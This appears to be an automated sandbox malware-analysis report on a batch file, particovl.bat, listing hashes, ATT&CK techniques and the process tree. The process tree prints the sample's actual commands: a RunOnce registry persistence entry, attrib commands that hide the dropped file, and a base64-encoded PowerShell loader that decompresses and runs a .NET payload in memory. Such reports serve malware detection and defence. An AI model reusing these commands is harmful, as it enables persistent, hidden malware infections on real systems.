c9341cb53731508c101d052643c552850f8f59092204151c0ec825e5fd87fe89

General

Target

particovl.bat
Size

699.1MB
MD5

85e4843ddbeb2ef9a3cdea6497bbdfa9
SHA1

5556ac2aa0d52daa7240877e6df1b60d3969ecec
SHA256

4049b93a33911701f2b975d19db0f91e4ae70ccbeee83a93f3352aa76a0152d8
SHA512

6c875856504f70ac80912f88e61fd67e9e37e0001d4c0a3c1f6703f69f0e3194142b6c93d941a85d2d721e53a2c1c2e1c59665ccd8fbb803419388d1908e8684
SSDEEP

384:Yi56N+inFXIvK0NgMzIR9tFhnvOTSMnZdqEoyZZd5hJUvCUvcmS/lggNbQRq55en:8X+K8xwvWSpmZ5emKAbJ55hz0h

Score

8^/10

evasion persistence

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

1184 attrib.exe
Executes dropped EXE 1 IoCs

Processes:

particovl.bat.exe

pid process

1188 particovl.bat.exe

pid	process
1184	attrib.exe

pid	process
1188	particovl.bat.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\particovl = "C:\\Users\\Admin\\AppData\\Roaming\\particovl.bat"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

particovl.bat.exe

pid process

1188 particovl.bat.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

particovl.bat.exe

pid process

1188 particovl.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

particovl.bat.exe

description pid process

Token: SeDebugPrivilege 1188 particovl.bat.exe

pid	process
1188	particovl.bat.exe

pid	process
1188	particovl.bat.exe

description	pid	process
Token: SeDebugPrivilege	1188	particovl.bat.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1772 wrote to memory of 292	1772	cmd.exe	reg.exe
PID 1772 wrote to memory of 292	1772	cmd.exe	reg.exe
PID 1772 wrote to memory of 292	1772	cmd.exe	reg.exe
PID 1772 wrote to memory of 1184	1772	cmd.exe	attrib.exe
PID 1772 wrote to memory of 1184	1772	cmd.exe	attrib.exe
PID 1772 wrote to memory of 1184	1772	cmd.exe	attrib.exe
PID 1772 wrote to memory of 1188	1772	cmd.exe	particovl.bat.exe
PID 1772 wrote to memory of 1188	1772	cmd.exe	particovl.bat.exe
PID 1772 wrote to memory of 1188	1772	cmd.exe	particovl.bat.exe
PID 1772 wrote to memory of 1188	1772	cmd.exe	particovl.bat.exe
PID 1772 wrote to memory of 1104	1772	cmd.exe	attrib.exe
PID 1772 wrote to memory of 1104	1772	cmd.exe	attrib.exe
PID 1772 wrote to memory of 1104	1772	cmd.exe	attrib.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

1104 attrib.exe
1184 attrib.exe

pid	process
1104	attrib.exe
1184	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\particovl.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\system32\reg.exe
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"
2⤵
- Adds Run key to start application
PID:292

C:\Windows\system32\attrib.exe
attrib +s +h C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:1184

C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1188

C:\Windows\system32\attrib.exe
attrib -s -h C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
2⤵
- Views/modifies file attributes
PID:1104

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

2

T1158

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

2

T1158

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/1188-61-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1188-60-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1188-62-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download

Analysis

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